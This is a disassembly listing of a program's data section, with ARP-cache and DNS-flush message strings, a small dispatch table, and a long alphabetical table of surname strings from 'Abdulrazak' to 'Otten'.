unk_42DBE4 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42DC08 db 2Dh ; - ; DATA XREF: sub_40AB31+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o
; sub_40BFEB+38o
aReal db 'real',0
align 4
dd 0
dword_42DC4C dd 0 ; DATA XREF: sub_40B08D+7o
off_42DC50 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r
aConst db 'const',0
align 10h
dd 1, 40AD22h, 7474656Ch, 7265h, 0
dd 2, 40AD80h, 706D6F63h, 2 dup(0)
dd 3, 40ADCDh, 6E756F63h, 797274h, 0
dd 4, 40AE6Bh, 736Fh, 2 dup(0)
dd 5, 40AEE0h
off_42DCB8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42DCC4 dd offset aAddison ; DATA XREF: sub_40B08D+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
